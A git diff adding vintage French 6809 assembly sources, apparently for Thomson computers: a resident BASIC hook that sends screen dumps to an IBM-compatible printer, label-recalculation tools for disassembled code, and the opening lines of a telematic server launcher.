+       STA    LIGNE
+       LBRA   NEWOCT
+
+AFFTO  LDB    #$1B
+       JSR    $E803
+       LDB    #$5B
+       JSR    $E803
+       LDB    #$1B
+       JSR    $E803
+       LDB    #$40
+       JSR    $E803
+       LDB    #$1B
+       JSR    $E803
+       LDB    #$57
+       JSR    $E803
+       LDB    #$0C
+       JSR    $E803
+       LDB    #$14
+       JSR    $E803
+       LDX    #PALORI
+       LDA    #$FF
+       JSR    $EC00
+       LDX    #$A001
+       LDY    #$4000
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+RESULB LDA    ,X++
+       LDB    ,X++
+       STD    ,Y++
+       CMPX   #$DE80
+       BLO    RESULB
+       LDX    #$A000
+       LDY    #$4000
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+RESULA LDA    ,X++
+       LDB    ,X++
+       STD    ,Y++
+       CMPX   #$DE80
+       BLO    RESULA
+
+FIN    PULS   A,B,DP,CC,X,Y,U,PC
+
+LIGNE  FCB    0
+COLON  FCB    0
+FILTRE FCB    0
+PALET  RMB    32
+TABGRI RMB    16
+
+PALORI FDB    4095,0,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+TYPE   FCB    0
+TRAINI FCB    0,0,0,0,0,0,8,0
+       FCB    2,0,8,0,2,0,10,0
+       FCB    10,0,10,0,10,0,10,4
+       FCB    10,1,10,4,10,1,10,5
+       FCB    10,5,10,5,10,5,14,5
+       FCB    11,5,14,5,11,5,15,5
+       FCB    15,5,15,5,15,5,15,13
+       FCB    15,7,15,13,15,7,15,15
+       FCB    15,15,15,15
+TRAME  RMB    16*8
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/SCRPRN2.ASM b/code/3rdparty/sources3-lambinet/SCRPRN2.ASM
new file mode 100644
index 0000000..bceea74
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SCRPRN2.ASM
@@ -0,0 +1,177 @@
+***************************************
+
+** ** *** ** ** *  * *** *** * *  * ***
+*  *  * * *  *  ** * * * * *   ** *  *
+** *  **  ** ** * ** *** **  * * **  *
+ * *  * * *  *  *  * *   * * * *  *  *
+** ** * * ** ** *  * *   * * * *  *  *
+
+***************************************
+*                                     *
+* Par Michel SAINT-BRIANT / ASCI 1991 *
+*                                     *
+***************************************
+
+* Cette petite routine installée en
+* résident permet à tout programme BASIC
+* 512 d'émuler une imprimante compatible
+* IBM Proprinter (toutes les imprimantes
+* pour ordinateur de type PC.
+
+****************************************
+*                                      *
+* Ecrit spécialement pour les lecteurs *
+*                                      *
+* de MICRONEWS     (NANCY le 10/10/91) *
+*                                      *
+****************************************
+
+       ORG    $7800
+
+************** ^^^^ ****************
+* En fonction de certains programmes
+* qui utilisent la RAM en $7800 on
+* peut modifier cette valeur (jusqu'à
+* $9C00/$9D00 -> Attention à la pile!)
+************************************
+
+************************************
+* Déroutage de l'analyse des instruc-
+* tions BASIC. On cherche les codes
+* $FF,$A4,$AB correspondant à SCREEN-
+* PRINT et on les remplacera par un
+* TROFF inoffensif de code $91 après
+* avoir incrémenté de 2 le pointeur d'
+* instructions BASIC en $61C7.
+************************************
+
+
+INTER  PSHS   CC,X
+       CMPA   #$FF    Ordre BASIC 2ème
+       BNE    QUIT              \série
+       LDX    $61C7
+       LDX    1,X
+       CMPX   #$A4AB  si=SCREENPRINT
+       BEQ    SCRPRT  alors>SCRPRT
+QUIT   PULS   CC,X,PC sinon on sort.
+
+SCRPRT LDX    $61C7   pointeur=
+       LEAX   2,X     pointeur+2
+       STX    $61C7
+       LDA    #$91    En sortie on va
+       PSHS   DP,B,A,Y,U   \simuler un
+       LDX    #$4078        \TROFF
+       LDB    #$14    on éteint le cur-
+       JSR    $E803   seur (pollution!)
+       LDD    #$1B40  <-Ajouter ici d'
+       LBSR   PUTINT   éventuels codes
+NEWLIN ORCC   #$50     de commandes pour
+       LDA    #$28     impression spéci-
+       STA    -15,S    ales (dble frappe
+       LDD    #$3318   condensé,etc...)
+       LBSR   PUTESC
+       TST    $605F    est-ce en 40 col?
+       BEQ    CONS0
+CONS1  LDD    #$4C80   $4C est le code
+       LBSR   PUTESC   pour le graphisme
+       LDB    #$2      en double densité
+       LBSR   PUTCPR   suivi de longueur
+       BRA    NEWCAR   ($280=640 octets)
+CONS0  LDD    #$4B40   $4B est le code
+       LBSR   PUTESC   pour le graphisme
+       LDB    #$01     en simple densité
+       LBSR   PUTCPR   suivi de longueur
+NEWCAR LDA    $E7C3    ($140=320 octets)
+       ORA    #$01
+       STA    $E7C3   <- RAMA
+CAR80  LDA    -$78,X  lit le caractère
+       LDB    -$50,X  (les 8 lignes et
+       STD    -14,S    les stocke en
+       LDA    -$28,X   dessous de la pi-
+       LDB    ,X       le en sécurité)
+       STD    -12,S
+       LDA    $28,X
+       LDB    $50,X
+       STD    -10,S
+       LDA    $78,X
+       LDB    $A0,X
+       STD    -8,S
+       LDA    #$08    inversion de la
+INVMAT ROL    -14,S   matrice 8x8 du
+       ROLB           caractère-écran
+       ROL    -13,S   pour en faire
+       ROLB           la matrice 8x8
+       ROL    -12,S   du caractère-
+       ROLB               imprimante
+       ROL    -11,S          >> C >>>
+       ROLB                 /        \
+       ROL    -10,S        /          \
+       ROLB           ROL= <-xxxxxxxx-<
+       ROL    -9,S           <<<<<<<<
+       ROLB
+       ROL    -8,S     rotation à gauche
+       ROLB           le carry (C) va en
+       ROL    -7,S    b0,b0 en b1,b1 >b2
+       ROLB           etc...b6>b7 et b7
+       BSR    PUTCPR  va dans le carry C
+       DECA
+       BNE    INVMAT
+       LDA    $E7C3   est-on sur RAMA?
+       BITA   #$01
+       BEQ    TESTFL  test de fin de li-
+       TST    $605F   test mode    \gne.
+       BEQ    TESTFL  si 80 col alors
+       ANDA   #$FE    on passe en RAMB
+       STA    $E7C3   et on imprime le
+       BRA    CAR80   caractère suivant.
+TESTFL LEAX   1,X
+       DEC    -15,S   jusqu'en fin de
+       BNE    NEWCAR  ligne
+       LDD    #$0A0D  code de saut de
+       BSR    PUTINT        \ligne
+       LEAX   $0118,X
+       CMPX   #$5FB8  jusqu'en fin d'
+       LBLO   NEWLIN  écran
+FIN    LDD    #$1B40  réinitialisation
+       BSR    PUTINT  de l'imprimante.
+       PULS   U,Y,A,B,DP
+       PULS   X,CC,PC on sort...
+
+PUTESC PSHS   B,A     impression d'un
+       LDB    #$1B    code ESC ($1B) et
+       BSR    PUTCPR  de 2 autres codes.
+       PULS   A,B
+PUTINT PSHS   B       impression de deux
+       TFR    A,B     codes (A puis B)
+       BSR    PUTCPR
+       PULS   B
+PUTCPR PSHS   A       impression d'un
+BOUCLE LDA    $E7C3   Attente \caractere
+       ANDA   #$40    passage du bit 6
+       BNE    BOUCLE  de $E7C3 à 0
+       TFR    B,A
+       ANDA   #$FE    les bits 1 à 7 de
+       ANDB   #$01    l'octet sont mis
+       STD    -2,S    de 1 à 7 en $E7C8
+       LDD    $E7C8   et le bit 0 dans
+       ANDA   #$01    le bit 0 de $E7C9.
+       ANDB   #$FC
+       ADDD   -2,S
+       STD    $E7C8
+       ORB    #$02    signal d'envoi de
+       STB    $E7C9   caractère (bit1=1)
+       PULS   A,PC
+
+********************************
+*        Initialisation        *
+********************************
+
+INIT   PSHS   A,X     on installe la
+       LDX    #INTER  routine sur le
+       STX    $67C1   déroutage d'analy-
+       LDA    #$7E    se d'instructions
+       STA    $67C0   BASIC.
+       PULS   A,X,PC
+
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/SOURCE30.SAP b/code/3rdparty/sources3-lambinet/SOURCE30.SAP
new file mode 100755
index 0000000..ae346f2
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCE30.SAP
Binary files differ
diff --git a/code/3rdparty/sources3-lambinet/SOURCE31.SAP b/code/3rdparty/sources3-lambinet/SOURCE31.SAP
new file mode 100755
index 0000000..14009bb
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCE31.SAP
Binary files differ
diff --git a/code/3rdparty/sources3-lambinet/SOURCER2.ASM b/code/3rdparty/sources3-lambinet/SOURCER2.ASM
new file mode 100644
index 0000000..afb22bc
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCER2.ASM
@@ -0,0 +1,253 @@
+
+****************************************
+*SOURCER II (RECALCUL DES ETIQUETTES ***
+****************************************
+
+
+
+
+       ORG    $8000
+
+       PSHS   A,B,CC,DP,X,Y,U
+G      LDX    #FILE
+       LDU    #$624F
+       LDB    #11
+COP    LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COP
+       LDD    #$0440
+       STA    $6049   RAMDISK
+       STB    $624B   ACCES DIRECT
+       LDX    #35     LONGUEUR DES (41)
+       STX    $6247   ENREGISTREMENTS
+       LDB    #3      CODE DE OPEN
+       JSR    $EC0C   OUVERTURE
+       LDX    #0
+       STX    PTRP    POINTEUR PRINCIPAL
+       LDX    #BUFFER DECLARATION D'UN
+       STX    $62AA   BUFFER
+
+*ANALYSE D'UNE NOUVELLE LIGNE
+
+NEWLIN LDX    PTRP
+       LEAX   1,X
+       STX    PTRP
+       CMPX   FINPTR  DERNIER ENREGISTR.
+       LBHI   FIN
+       CLR    EXIST   FLAG D'EXISTENCE
+       CLR    $6249   GET
+       LDB    #7
+       JSR    $EC0C
+       LDX    #BUFFER
+       LDY    #NUMERO
+       LDU    #NBHEX0
+       LDA    ,X+
+       STA    ,U+
+       CMPA   #$24    SI CE N'EST PAS UN
+       BNE    NEWLIN  $ ->NOUVELLE LIGNE
+       LDA    ,X+
+       SUBA   #$30    SI MOINS DE ZERO
+       BMI    NEWLIN  -->  PAS BON
+       CMPA   #$A     SI MOINS DE 10
+       BLO    CHIF1   --> ON PREND
+       CMPA   #$11    SI >9 ET <A
+       BLO    NEWLIN  --> PAS BON
+       SUBA   #7
+       CMPA   #15     SI PLUS DE 15
+       BHI    NEWLIN  --> PAS BON
+CHIF1  ASLA
+       ASLA
+       ASLA
+       ASLA
+       STA    ,Y
+       LDA    ,X+
+       STA    ,U+
+       SUBA   #$30
+       BMI    NEWLIN
+       CMPA   #$A
+       BLO    CHIF2
+       CMPA   #$11
+       BLO    NEWLIN
+       SUBA   #7
+       CMPA   #15
+       BHI    NEWLIN
+CHIF2  ORA    ,Y
+       STA    ,Y
+       LDA    ,X+
+       STA    ,U+
+       CMPA   #$24
+       BNE    NEWLIN
+       LDA    ,X+
+       SUBA   #$30
+       BMI    NEWLIN
+       CMPA   #$A
+       BLO    CHIF3
+       CMPA   #$11
+       BLO    NEWLIN
+       SUBA   #7
+       CMPA   #15
+       BHI    NEWLIN
+CHIF3  ASLA
+       ASLA
+       ASLA
+       ASLA
+       STA    1,Y
+       LDA    ,X+
+       STA    ,U+
+       SUBA   #$30
+       LBMI   NEWLIN
+       CMPA   #$A
+       BLO    CHIF4
+       CMPA   #$11
+       LBLO   NEWLIN
+       SUBA   #7
+       CMPA   #15
+       LBHI   NEWLIN
+CHIF4  LDX    #NUMERO
+       ORA    1,Y
+       STA    1,Y
+NWNBRE LDX    ,Y
+       LEAX   1,X
+       STX    ,Y
+       CLRB
+NWDIGI LDA    B,Y
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ADDA   #$30
+       CMPA   #$3A
+       BLO    HEX
+       ADDA   #7
+HEX    STA    ,U+
+       INCB
+       CMPB   #4
+       BLO    NWDIGI
+       CMPU   #ETIQ
+       BLO    NWNBRE
+       LDX    #0
+       STX    PTRS
+
+*RECHERCHE DU NBRE 'NBHEXA' DANS LES
+*AUTRES LIGNES
+
+AUTLIN LDX    PTRS
+       LEAX   1,X
+       STX    PTRS
+       CMPX   FINPTR  DERNIER ENREGISTR.
+       BHI    FINLIN
+*      CLR    $6249   GET
+       LDB    #7
+       JSR    $EC0C
+       LDX    #BUFFER+19
+       LDU    #NBHEX3+3
+       LDB    #3
+       LDA    ,X
+TYPE   CMPA   ,U
+       BEQ    TEST
+       LEAU   4,U
+       DECB
+       BPL    TYPE
+       BRA    NONEGA
+TEST   LDA    ,-X
+       CMPA   ,-U
+       BNE    NONEGA
+       CMPX   #BUFFER+16
+       BHI    TEST
+       STA    EXIST
+       LDU    #ETIQ
+       TSTB           SI B=0 NBRE
+       BNE    DECALE  SINON NBRE+B
+       LDB    #5
+COP0   LDA    ,U+
+       STA    ,X+
+       DECB
+       BNE    COP0
+       BRA    RECRIT
+DECALE PSHS   B
+       LDD    #$3D05  '='
+       LDX    #BUFFER+22   (PUIS29)
+       STA    ,X+
+COP1   LDA    ,U+
+       STA    ,X+
+       DECB
+       BNE    COP1
+       LDA    #$2B    '+'
+       PULS   B
+       ADDB   #$30
+       STD    ,X
+RECRIT LDD    #$FF07
+       STA    $6249
+       LDX    PTRS
+       JSR    $EC0C
+NONEGA LBRA   AUTLIN
+
+* EN FIN DE LIGNE ON TESTE LE FLAG
+
+FINLIN TST    EXIST
+       BEQ    REPART
+       LDX    PTRP
+       LDD    #$0007
+       STA    $6249
+       JSR    $EC0C
+       LDX    #BUFFER
+       LDU    #ETIQ
+       LDB    #5
+COP2   LDA    ,U+
+       STA    ,X+
+       DECB
+       BNE    COP2
+       LDX    PTRP
+       LDD    #$FF07
+       STA    $6249
+       JSR    $EC0C
+       LDD    ETIQ+3
+       ADDB   PAS+1
+       STB    ETIQ+4
+       CMPB   #$3A
+       BLO    RETIQ1
+       SUBB   #10
+       STB    ETIQ+4
+       INCA
+RETIQ1 ADDA   PAS
+       STA    ETIQ+3
+       CMPA   #$3A
+       BLO    REPART
+       SUBA   #10
+       STA    ETIQ+3
+       LDD    ETIQ+1
+       INCB
+       CMPB   #$3A
+       BLO    RETIQ2
+       SUBB   #10
+       INCA
+       CMPA   #$3A
+       BEQ    TOOBIG
+RETIQ2 STD    ETIQ+1
+REPART LBRA   NEWLIN
+
+TOOBIG
+
+
+FIN    LDB    #6
+       JSR    $EC0C
+K      PULS   A,B,DP,CC,X,Y,U,PC
+
+PTRP   FDB    0
+PTRS   FDB    0
+FINPTR FDB    0
+NUMERO FDB    0
+EXIST  FCB    0
+NBHEX0 FCC    #ABCD#
+NBHEX1 FCC    #ABCD#
+NBHEX2 FCC    #ABCD#
+NBHEX3 FCC    #ABCD#
+ETIQ   FCC    #E0000#
+PAS    FCB    1,0
+FILE   FCC    #ESSAI   ASM#
+BUFFER RMB    50
+
+
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/SOURCER3.ASM b/code/3rdparty/sources3-lambinet/SOURCER3.ASM
new file mode 100644
index 0000000..db533cc
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/SOURCER3.ASM
@@ -0,0 +1,605 @@
+****************************************
+*                                      *
+* SOURCER pour CODEVIEW    version 3.1 *
+*                                      *
+* par Michel SAINT-BRIANT * 28/02/1992 *
+*                                      *
+* (c)    A.S.C.I.    Copyright    1992 *
+*                                      *
+****************************************
+
+* cette routine permet de recalculer les
+* adresses depuis des données mémorisées
+* sous CODEVIEW et sort le résultat dans
+* un fichier .ASM compacté directement
+* utilisable sous 'ASSEMBLER' de Micro-
+* soft(après avoir été retaillé si néces
+* saire car taille maxi=24 Ko )
+
+* on peut aller 10000 lignes de code
+* (nécessité d'une extension RAM 256Ko)
+* ou 4499 lignes sans extension.
+* (on peut compter 400 à 500 lignes par
+* Ko de code)
+
+* Les flags 1,2 et 3 permettent d'éviter
+* le traitement de la recherche d'adres-
+* ses décalées du type:
+*         LDX    #TABLE+2
+
+* Pas d'affolement si l'écran se remplit
+* de signes bizarres: il est utilisé
+* pour les lignes 3276 à 4875
+
+* les 4 derniers octets en bas à droite
+* de l'écran clignotent au rythme des
+* 'passes' de recherche et aident à pa-
+* tienter... (pour 10000 lignes + les
+* trois recherches décalées prévoir
+* plusieurs heures--> 400 millions
+* de combinaisons possibles à étudier!)
+
+BANK1  EQU    5       =BANK4 EN BASIC
+* LES BANKS 1 ET 2 ETANT OCCUPEES APRES
+* bank 4 utilisée pour le code initial
+
+       ORG    $7000   a ne pas changer!
+
+       PSHS   A,B,CC,DP,X,Y,U
+       LDX    #1
+       STX    PTRP
+       LDA    #BANK1
+       STA    $E7E5
+       LDX    #$A000
+       LDU    #1
+
+       LDX    #CALCUL
+AFFIC1 LDB    ,X+
+       BEQ    ONYVA
+       JSR    $E803
+       BRA    AFFIC1
+
+
+ONYVA  PSHS   CC
+       ORCC   #$50
+       LDD    FINPTR  initialisé par
+       STD    COMPT   le BASIC
+       TFR    D,X
+       LEAX   D,X
+       LEAX   D,X
+       LEAX   D,X
+       LEAX   D,X
+       CMPX   #24380
+       BLO    PETIT
+       LDA    #1
+       STA    PARTIE
+       LEAX   $1CAC,X
+PETIT  STX    FINTAB
+
+       LDB    #$14
+       JSR    $E803
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDA    #$62
+       STA    $E7E6
+       LDA    #BANK1
+       STA    $E7E5
+       LDX    #$A000
+       LDY    #0
+ADRESS LDA    ,X
+       BPL    CODEFF
+       LEAU   1,X
+       BSR    CVINT
+       LDA    15,X
+       BPL    CODE0F
+       LDA    #$24    '$'
+       STA    15,X
+       LEAU   16,X
+       BSR    CVINT
+       CLR    ,Y+
+       BRA    FINLEC
+CODE0F LDD    #$000F
+       STA    ,Y+
+       STD    ,Y++
+       BRA    FINLEC
+CODEFF LDD    #$0000
+       STD    ,Y++
+       STD    ,Y++
+       DECA
+       STA    ,Y+
+FINLEC LEAX   40,X
+       CMPX   #$DFE8
+       BLO    MBANK2
+       INC    $E7E5
+       LDX    #$A000
+MBANK2 DEC    COMPT+1
+       BNE    PART0
+       DEC    COMPT
+       BMI    CROISE
+PART0  TST    PARTIE
+       BEQ    PART2
+PART1  CMPY   #24380
+       BLO    ADRESS
+       DEC    PARTIE
+       INC    $E7E6
+       LDY    #$7BE8
+       BRA    ADRESS
+PART2  CMPY   #$A000
+       BNE    ADRESS
+       LDY    #0
+       BRA    ADRESS
+
+CVINT  LDB    #2
+BCVINT LDA    ,U+
+       SUBA   #$30
+       CMPA   #$A
+       BLO    CHIF1
+       SUBA   #7
+CHIF1  ASLA
+       ASLA
+       ASLA
+       ASLA
+       STA    ,Y
+       LDA    ,U+
+       SUBA   #$30
+       CMPA   #$A
+       BLO    CHIF2
+       SUBA   #7
+CHIF2  ORA    ,Y
+       STA    ,Y+
+       DECB
+       BNE    BCVINT
+       RTS
+
+CROISE LDD    #$0362
+       STD    $E7E5
+       LDX    #$A000
+       LEAY   $2000,X
+BOCROI LDU    ,X
+       LDD    ,Y
+       STU    ,Y++
+       STD    ,X++
+       CMPX   #$C000
+       BNE    BOCROI
+
+ANALYS LDX    #0
+       STX    $5F3C
+       STX    $5F3E
+       LDX    FINTAB
+ANA    LEAX   3,X
+       STX    FINTAC
+       LDY    #0      TAB:XXXX,YYYY,ZZ
+ANAL0  LDX    #$FFFE  XXXX>ADR.GAUCHE
+       LDA    4,Y     YYYY>ADR.CENTRE
+       BMI    ANA2    ZZ>FLAG GAUC/CENT.
+ANA0   LDD    ,Y      0 NON AFFECTE
+ANA1   LEAX   5,X     1 AFFECTE
+       CMPX   #24383
+       BNE    ANAC0
+       LDX    #$7BEB
+ANAC0  CMPX   FINTAC  F NON AFFECTABLE
+       BHS    ANA2
+       LDA    1,X
+       ANDA   #$0F
+       BNE    ANA1
+       CMPB   ,X
+       BNE    ANA1
+       LDA    ,Y
+       CMPA   -1,X
+       BNE    ANA1
+       LDA    4,Y
+       ORA    #$10
+       STA    4,Y
+       LDA    1,X
+       ORA    #$01
+       STA    1,X
+       STY    -1,X
+       BRA    ANA1
+ANA2   COM    $5F3C
+       LEAY   5,Y
+       CMPY   #24380
+       BNE    ANAK0
+       LDY    #$7BE8
+ANAK0  CMPY   FINTAB
+       BLO    ANAL0
+
+       LDU    #TEMPO
+       TST    FLAG1
+       LBEQ   ETIK
+       LDY    #0
+ANAL1  LDX    #$FFFE
+       LDA    4,Y
+       BMI    ANA5
+ANA3   LDD    ,Y
+       ADDD   #1
+       STA    ,U
+ANA4   LEAX   5,X
+       CMPX   #24383
+       BNE    ANAC1
+       LDX    #$7BEB
+ANAC1  CMPX   FINTAC
+       BHS    ANA5
+       LDA    1,X
+       ANDA   #$0F
+       BNE    ANA4
+       CMPB   ,X
+       BNE    ANA4
+       LDA    ,U
+       CMPA   -1,X
+       BNE    ANA4
+       LDA    4,Y
+       ORA    #$10
+       STA    4,Y
+       LDA    1,X
+       ORA    #$02
+       STA    1,X
+       STY    -1,X
+       BRA    ANA4
+ANA5   COM    $5F3D
+       LEAY   5,Y
+       CMPY   #24380
+       BNE    ANAK1
+       LDY    #$7BE8
+ANAK1  CMPY   FINTAB
+       BLO    ANAL1
+
+       TST    FLAG1
+       LBEQ   ETIK
+       LDY    #0
+ANAL2  LDX    #$FFFE
+       LDA    4,Y
+       BMI    ANA8
+ANA6   LDD    ,Y
+       ADDD   #2
+       STA    ,U
+ANA7   LEAX   5,X
+       CMPX   #24383
+       BNE    ANAC2
+       LDX    #$7BEB
+ANAC2  CMPX   FINTAC
+       BHS    ANA8
+       LDA    1,X
+       ANDA   #$0F
+       BNE    ANA7
+       CMPB   ,X
+       BNE    ANA7
+       LDA    ,U
+       CMPA   -1,X
+       BNE    ANA7
+       LDA    4,Y
+       ORA    #$10
+       STA    4,Y
+       LDA    1,X
+       ORA    #$03
+       STA    1,X
+       STY    -1,X
+       BRA    ANA7
+ANA8   COM    $5F3E
+       LEAY   5,Y
+       CMPY   #24380
+       BNE    ANAK2
+       LDY    #$7BE8
+ANAK2  CMPY   FINTAB
+       BLO    ANAL2
+
+       TST    FLAG3
+       BEQ    ETIK
+       LDY    #0
+ANAL3  LDX    #$FFFE
+       LDA    4,Y
+       BMI    ANA11
+ANA9   LDD    ,Y
+       ADDD   #3
+       STA    ,U
+ANA10  LEAX   5,X
+       CMPX   #24383
+       BNE    ANAC3
+       LDX    #$7BEB
+ANAC3  CMPX   FINTAC
+       BHS    ANA11
+       LDA    1,X
+       ANDA   #$0F
+       BNE    ANA10
+       CMPB   ,X
+       BNE    ANA10
+       LDA    ,U
+       CMPA   -1,X
+       BNE    ANA10
+       LDA    4,Y
+       ORA    #$10
+       STA    4,Y
+       LDA    1,X
+       ORA    #$04
+       STA    1,X
+       STY    -1,X
+       BRA    ANA10
+ANA11  COM    $5F3F
+       LEAY   5,Y
+       CMPY   #24380
+       BNE    ANAK3
+       LDY    #$7BE8
+ANAK3  CMPY   FINTAB
+       BLO    ANAL3
+
+ETIK   LDX    ETIQ0
+       LDB    PAS
+       LDY    #0
+AFF1   LDA    4,Y
+       ANDA   #$F0
+       BLE    AFF2
+       STX    ,Y
+       ABX
+AFF2   LEAY   5,Y
+       CMPY   #24380
+       BNE    AFFC0
+       LDY    #$7BE8
+AFFC0  CMPY   FINTAB
+       BLO    AFF1
+
+       CMPX   #9999
+       LBHI   TOOBIG
+
+       LDA    #BANK1
+       STA    BANK
+       LDY    #0
+       LDX    #$A000
+AFF3   LDA    #3
+       STA    $E7E5
+       LDA    4,Y
+       ANDA   #$F0
+       BEQ    AFF4
+       BMI    AFF5
+       LDD    ,Y
+       TFR    X,U
+       BSR    CVDEC
+       BRA    AFF5
+AFF4   LDA    BANK
+       STA    $E7E5
+       LDD    #$2020
+       STD    ,X
+       STD    2,X
+       STA    4,X
+AFF5   LDA    #3
+       STA    $E7E5
+       LDA    4,Y
+       ANDA   #$0F    SI 0 OU F RIEN
+       BEQ    AFF7
+       CMPA   #$0F
+       BEQ    AFF7
+       DECA
+       BEQ    AFF6
+       ADDA   #$30
+       PSHS   A
+       LEAU   24,X
+       LDA    BANK
+       STA    $E7E5
+       LDA    #$3D    '='
+       STA    ,U+
+       LDA    #3
+       STA    $E7E5
+       LDD    [2,Y]
+       BSR    CVDEC
+       LDA    #$2B    '+'
+       PULS   B
+       STD    ,U
+       BRA    AFF7
+AFF6   LEAU   15,X
+       LDD    [2,Y]
+       BSR    CVDEC
+AFF7   LEAX   40,X
+       CMPX   #$DFE8
+       BLO    MBANK3
+       INC    BANK
+       LDX    #$A000
+MBANK3 LEAY   5,Y
+       CMPY   #24380
+       BNE    AFFK0
+       LDY    #$7BE8
+AFFK0  CMPY   FINTAB
+       LBLO   AFF3
+       BRA    SAVE
+
+
+CVDEC  PSHS   X
+       TFR    D,X
+       LDA    BANK
+       STA    $E7E5
+       LDA    ETIQ
+       STA    ,U+
+       LDD    #$3030
+CVD1   CMPX   #1000
+       BLO    CVD2
+       INCA
+       LEAX   -1000,X
+       BRA    CVD1
+CVD2   CMPX   #100
+       BLO    CVD3
+       INCB
+       LEAX   -100,X
+       BRA    CVD2
+CVD3   STD    ,U++
+       LDD    #$3030
+CVD4   CMPX   #10
+       BLO    CVD5
+       INCA
+       LEAX   -10,X
+       BRA    CVD4
+CVD5   LEAX   D,X
+       STX    ,U++
+       PULS   X,PC
+
+SAVE   LDX    #SAUVE
+AFFIC2 LDB    ,X+
+       BEQ    SAV1
+       JSR    $E803
+       BRA    AFFIC2
+
+SAV1   CLR    $E7E6
+       PULS   CC
+       LDX    #$8600
+       STX    $6197
+       LDX    #$8C00
+       STX    $6199
+       LDX    #$9400
+       LDY    #5
+       LDD    #$0402
+       JSR    $EC0C
+       LDX    #FILE
+       LDA    ,X++
+       SUBA   #$30
+       STA    $6049
+       LDU    #$624B
+       LDD    #$2003
+       STD    ,U++
+       LDA    #$FF
+       STA    ,U++
+       LDB    #8
+COPS   LDA    ,X+
+       STA    ,U+
+       DECB
+       BNE    COPS
+       LDD    #$4153  'AS'
+       STD    ,U++
+       LDD    #$4D09  'M'+8 octets
+COPC   STA    ,U+
+       LDA    ,X+
+       DECB
+       BNE    COPC
+       LDB    #3      CODE DE OPEN
+       JSR    $EC0C   OUVERTURE
+
+       LDX    #$A000
+       LDA    #BANK1
+       STA    $E7E5
+       LDY    FINPTR
+       LEAY   -1,Y
+
+LIGNE  LDU    16,X
+       CMPU   26,X
+       BNE    SAV2
+       LDU    18,X
+       CMPU   28,X
+       BNE    SAV2
+       LDD    #$2020
+       STD    23,X
+       STD    25,X
+       STD    27,X
+       STD    29,X
+SAV2   LEAU   40,X
+       LDD    #$2029
+BCLFL  DECB
+       LBEQ   FINLIN
+       CMPA   ,-U
+       BEQ    BCLFL
+       TFR    X,U
+       PSHS   B
+       LDA    ,X
+       CMPA   #$2A    '*'
+       BNE    PASCOM
+BCLCOM LDA    ,U+
+       LDB    #4
+       JSR    $EC0C
+       DEC    ,S
+       BNE    BCLCOM
+       LBRA   FINLI0
+
+PASCOM LDA    #$F7
+       PSHS   A
+BOUETI LDB    #4
+       LDA    ,U+
+       CMPA   #$20
+       BEQ    FINETI
+       DEC    ,S
+       JSR    $EC0C
+       BRA    BOUETI
+FINETI PULS   A
+       LDB    #4
+       JSR    $EC0C
+
+MNEMO  LDA    ,S
+       CMPA   #7
+       BLO    FINLI0
+       LDA    #$F7
+       PSHS   A
+       LEAU   7,X
+BOUMNE LDB    #4
+       LDA    ,U+
+       CMPA   #$20
+       BEQ    FINMNE
+       DEC    ,S
+       JSR    $EC0C
+       BRA    BOUMNE
+FINMNE PULS   A
+       LDB    #4
+       JSR    $EC0C
+
+OPERA  LDA    ,S
+       CMPA   #14
+       BLO    FINLI0
+       SUBA   #14
+       STA    ,S
+       LEAU   14,X
+       LDA    #$20
+BOUESP CMPA   ,U
+       BNE    BOUOPE
+       LEAU   1,U
+       DEC    ,S
+       BRA    BOUESP
+BOUOPE LDB    #4
+       LDA    ,U+
+       JSR    $EC0C
+       DEC    ,S
+       BNE    BOUOPE
+
+FINLI0 PULS   A
+
+FINLIN LDD    #$0D04
+       JSR    $EC0C
+       LEAX   40,X
+       CMPX   #$DFE8
+       BLO    MBANK4
+       LDX    #$A000
+       INC    $E7E5
+MBANK4 LEAY   -1,Y
+       LBNE   LIGNE
+       LDB    #6
+       JSR    $EC0C
+       BRA    FIN
+
+TOOBIG LDX    #TOMUCH
+AFFIC3 LDB    ,X+
+       BEQ    FIN
+       JSR    $E803
+       BRA    AFFIC3
+
+FIN    PULS   A,B,DP,CC,X,Y,U,PC
+
+COMPT  FDB    0       compteur
+PARTIE FCB    0
+BANK   FCB    0       SAUVEGARDE BANK
+PTRP   FDB    0
+FINPTR FDB    0
+FINTAB FDB    0
+FINTAC FDB    0
+TEMPO  FCB    0
+SAUVE  FCB    12
+       FCC    #SAUVEGARDE EN COURS...#
+       FCB    0
+CALCUL FCB    12,31,24,1
+       FCC    #CALCULS EN COURS...#
+       FCB    0
+TOMUCH FCB    12
+       FCC    #PARAMETRES INCORRECTS#
+       FCB    0
+FLAG1  FCB    0
+FLAG2  FCB    0
+FLAG3  FCB    0
+ETIQ   FCC    #B#
+PAS    FCB    1
+ETIQ0  FDB    0
+FILE   FCC    #4:ESSAI   #
+COMMEN FCC    #ASourcer#
+
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/LANCESTI.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/LANCESTI.ASM
new file mode 100644
index 0000000..8960f49
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/LANCESTI.ASM
@@ -0,0 +1,305 @@
+
+****** **  ** *****  *****   ****
+****** **  ** ****** ****** ******   *
+  **   **  ** **  ** **  ** **  **  ***
+  **   **  ** **  ** **  ** **  ** ** **
+  **   **  ** *****  *****  **  ** ** **
+  **   **  ** ****** *****  **  ** ** **
+  **   **  ** **  ** **  ** **  ** ** **
+  **   **  ** **  ** **  ** **  **  ***
+  **   ****** **  ** ****** ******   *
+  **    ****  **  ** *****   ****
+
+
+       ORG    $8000
+
+DEBUT  LDS    #$9FFF
+       LDD    #$60F8
+       TFR    A,DP
+       LDA    <$19
+       ORA    #2
+       STA    <$19
